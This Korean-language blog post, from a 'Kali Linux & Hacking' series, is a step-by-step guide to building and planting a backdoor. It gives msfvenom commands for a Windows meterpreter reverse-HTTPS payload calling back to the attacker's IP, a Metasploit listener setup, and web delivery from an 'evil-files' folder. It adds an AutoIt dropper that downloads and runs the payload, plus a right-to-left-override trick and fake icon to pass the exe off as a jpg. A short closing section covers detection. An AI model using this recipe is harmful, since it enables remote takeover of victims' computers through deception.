백도어 생성 및 해킹

안수균·2024년 8월 12일
0

Kali Linux & Hacking

목록 보기
15/19
post-thumbnail

백도어란?

백도어는 시스템이나 소프트웨어에 대해 비공식적으로 접근할 수 있는 경로를 의미한다. 일반적으로 해커가 시스템에 침투한 후, 정식 인증 절차를 우회하여 원격에서 시스템을 제어하거나 정보를 탈취하기 위해 설치하는 경우가 많다.

페이로드란?

페이로드는 사이버 공격에서 해커가 시스템에 침투할 때 사용하는 실제 유해 코드를 의미한다. 백도어 내부, 실행 파일 내부의 일부이기도 하며, 컴퓨터를 원격으로 제어하고 시스템 명령을 실행하고 리소스에 액세스하는 등의 작업을 수행할 수 있게 해준다.


페이로드를 생성하기 위해 MSF venom이라는 프로그램을 이용해볼 것이다.

사용할 수 있는 페이로드 나열하기

msfvenom --list payloads

페이로드 네이밍 패턴

페이로드의 이름은 위와 같이 크게 세가지 구성으로 나뉘게 된다.

플랫폼

플랫폼이 특정 운영체제로 되어있는 경우 해당 운영체제에만 호환이 된다는 의미이며, 만약 언어로 되어있을 경우 해당 컴퓨터에 그 언어가 설치 되어있어야만 동작된다.

유형

  • meterpreter: 해커가 목표 시스템에 침투한 후 원격으로 제어할 수 있는 인터페이스를 제공
  • dllinject: 특정 프로세스에 DLL(동적 링크 라이브러리)을 주입하여 악성 코드를 실행
  • peinject: Portable Executable(PE) 파일을 주입하여 악성 코드를 실행
  • vncinject: VNCInject는 VNC프로토콜을 사용하여 원격으로 시스템에 접근하거나 제어
  • exec: 시스템에서 특정 명령이나 프로그램을 실행
  • messagebox: 사용자의 화면에 메시지 박스를 표시

통신 방식

연결 유형은 일반적으로 bind와 reverse로 나뉘게 된다.

reverse는 해커의 시스템이 특정 포트를 열어두고 타겟의 시스템이 연결을 하는 구조이고, bind는 타겟의 시스템에 특정 포트를 열어두고 해커가 연결하는 구조이다.

osx/x64/meterpreter_reverse_http 와 같이 슬래시가 일반적인 네이밍 패턴이 아닌 경우도 있지만 순서는 항상 동일하다.

페이로드 지정 및 옵션 설정

msfvenom --payload windows/meterpreter/reverse_https --list-options
--payload: 지정할 페이로드
--list-options: 선택한 페이로드에 대한 옵션 목록

여기서 LHOST는 해커(내 컴퓨터)로 바꾸고 LPORT는 8080으로 바꾸면서 페이로드를 생성할 것이다.

LPORT를 8080으로 한 이유는 웹서버에서 사용하는 일반적이 포트가 80과 8080 포트이기 때문이다.

페이로드 생성

msfvenom --payload windows/meterpreter/reverse_https LHOST=해커IP LPORT=8080 --format exe --out rev_https_8080.exe

--format: 생성할 파일의 형식을 지정
--out: 생성된 페이로드를 저장할 파일의 이름을 지정

이제 루트 디렉토리에 백도어 파일이 저장되어있을 것이다.

지금까지 MSF Venom을 통해 페이로드를 생성하고 설정을 했지만 veil-evasion 을 통해서도 페이로드를 생성하고 설정할 수 있다.

백도어 수신 대기

대상 컴퓨터가 백도어를 실행 했을 때 연결을 받을 수 있도록 포트를 열어야한다.

msfconsole
use exploit/multi/handler
show options

우리가 지정한 페이로드가 아님을 볼 수 있고, LHOST와 LPORT를 페이로드에 지정했던 것으로 바꿔야한다.

set PAYLOAD windows/meterpreter/reverse_https
set LHOST 해커IP(내부IP)
set LPORT 8080
exploit

네트워크 내부에 있는 장치로 백도어 실행 테스트 하기 때문에 페이로드 생성할 때 내부IP를 사용했지만, 만약 외부 네트워크에 있는 컴퓨터를 대상으로 백도어를 만든다면, 페이로드 생성할 때 LHOST를 외부IP로 설정하고 백도어 수신 대기 과정을 내부IP로 설정 해야한다. 또, 라우터(게이트웨이) 설정에 들어가서 해당 포트에 대해서 칼리 머신으로 포트포워딩을 하거나 DMZ 설정 작업이 필요하다.

백도어를 웹서버로 전달

/var/www/html/ 에 evil-files 디렉토리를 만들고 백도어 파일을 넣는다.

아파치 서버 실행

service apache2 start

타겟 컴퓨터의 브라우저에 아래 주소로 이동한다.
http://해커IP/evil-files

다운을 받기 전 윈도우의 보안기능을 비활성화 시켜야 하므로 윈도우의 보안에 들어간다.

설정 관리로 들어가서 모두 비활성화 한다.

그리고 나서 백도어를 실행하면 된다.

※ 다운로드가 안될 경우 브라우저의 보안 기능도 비활성화 해야한다.

백도어를 실행할 경우 칼리머신에서 대상 컴퓨터에 접근할 수 있는 것을 볼 수 있다.

이미지 파일에 백도어 삽입해보기

#include <StaticConstants.au3>
#include <WindowsConstants.au3>

Local $urls = "url1,url2"

Local $urlsArray = StringSplit($urls, ",", 2 )

For $url In $urlsArray
	$sFile = _DownloadFile($url)
	shellExecute($sFile)

Next

Func _DownloadFile($sURL)
    Local $hDownload, $sFile
    $sFile = StringRegExpReplace($sURL, "^.*/", "")
    $sDirectory = @TempDir & $sFile
    $hDownload = InetGet($sURL, $sDirectory, 17, 1)
    InetClose($hDownload)
    Return $sDirectory
EndFunc   ;==>_GetURLImage

위 스크립트를 복사한 다음, Local $urls = "url1,url2" 여기에 url1은 이미지파일로, url2은 웹서버에 저장된 백도어 주소로 수정해서, 칼리머신에 txt 파일로 저장한다.

이후 확장자를 au2로 바꾼다.

스크립트 컴파일 (Autoit)

Aut2Exe 프로그램을 실행 후, 방금 만든 au2 스크립트를 지정한다.

아이콘의 경우 해킹 당하는 사람을 속이기 쉽게 하기 위해 필요하다.

아이콘 모음 사이트: https://www.iconarchive.com/
이미지 파일을 아이콘으로: http://www.rw-designer.com/image-to-icon

Convert를 누르면 실행할 수 있는 exe 파일이 생성된다.

exe 파일을 jpg 확장자로 속이기

https://unicode-explorer.com/c/202E 에 접속한다.

COPY 버튼을 클릭 한다.

메모장을 열어 '파일이름gpj.exe' 을 적고 맨 앞에서 방금 복사한 것을 붙여넣기 한다.

그럼 exe와 jpg가 반전되어있는 것을 볼 수 있는데, 모두 복사한다.

만들었던 백도어 실행 파일의 이름을 방금 복사한 글자로 바꾸면 된다.

비록, 확장자가 jpg 처럼 보여도 실제로는 exe 파일이다.

jpg 파일이 exe 파일인지 어떻게 확인하나?


파일 속성에 들어가보면 비록 확장자가 jpg 파일처럼 보여도 exe 실행파일이라는 것을 볼 수 있다.

또, 파일명을 아무렇게 바꾸면 자동으로 exe 확장자로 바뀌는 걸 볼 수 있다.

Resource Monitor를 통해 의심하기

리소스 모니터는 열려 있는 포트를 전부 볼 수 있다. 8080 포트가 열려 있는데, 프로세스 이름이나 포트번호는 문제가 없다. 그러나 Remote Address가 아는 바가 없는 주소다.

정상적인 아이피라면 특정 웹사이트로 연결이 되어야 하지만 아닐 수도 있다는 의미다.

Reverse DNS Lookup

Reverse DNS Lookup을 통해 정상적인 웹사이트로 도메인이 연결되어 있는지 확인할 수 있다.

샌드박스를 이용해 탐지하기

https://www.hybrid-analysis.com/ 에 접속해서 의심되는 파일을 업로드하면 악성 파일인지 보고해준다.

백신의 악성코드 탐지 메커니즘

Static Analysis (정적 분석)

Static Analysis는 악성코드나 파일을 실행하지 않고, 코드나 파일의 구조를 분석하는 방법이다. 주로 파일의 헤더, 바이트 코드, 문자열 등을 검사하여 악성 여부를 판단한다. 알려진 악성코드의 서명(signature)이나 패턴을 기반으로 탐지한다.

Dynamic (or Heuristic) Analysis (동적 분석)

Dynamic Analysis는 악성코드를 실제로 실행하여 그 행동을 관찰하고 분석하는 방법이다. 이 과정에서 프로그램이 시스템에 미치는 영향을 분석한다.

profile
공부한 내용을 블로그에서 정리합니다.

0개의 댓글